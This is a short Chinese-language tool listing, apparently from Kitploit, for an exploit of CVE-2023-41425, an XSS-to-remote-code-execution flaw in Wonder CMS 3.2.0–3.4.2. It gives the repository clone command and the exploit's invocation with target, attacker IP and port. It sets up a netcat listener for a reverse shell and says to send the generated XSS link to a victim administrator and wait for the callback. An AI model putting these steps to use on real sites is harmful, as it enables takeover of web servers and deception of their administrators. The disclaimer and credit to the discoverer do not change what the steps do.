CVE-2023-41425-wonderCMS_RCE — CVE-2023-41425 - Wonder CMS v.3.2.0 至 v.3.4.2 版本中存在跨站脚本（XSS）漏洞，允许远程攻击者通过上传到 installModule 组件的特制脚本执行任意代码。 | Kitploit

CVE-2023-41425-wonderCMS_RCE

Wonder CMS v.3.2.0 至 v.3.4.2 版本中存在跨站脚本（XSS）漏洞，允许远程攻击者通过上传到 installModule 组件的恶意脚本执行任意代码。仅用于教育目的

需要知道 loginURL、拥有管理员访问权限，或能够诱使管理员点击 XSS 链接。

克隆仓库

git clone https://github.com/thefizzyfish/CVE-2023-41425-wonderCMS_RCE.git

运行

usage: CVE-2023-41425.py [-h] -rhost RHOST -lhost LHOST -lport LPORT -sport SPORT
python3 CVE-2023-41425.py -rhost http://example.com/loginURL -lhost 10.10.14.7 -lport 9001 -sport 8000

设置本地监听

nc -lnvp 9001

将打印出的 XSS URL 发送给受害者；如果你有管理员权限，也可以直接点击它
等待回调

致谢

感谢 prodigiousMind 发现并报告此漏洞 https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413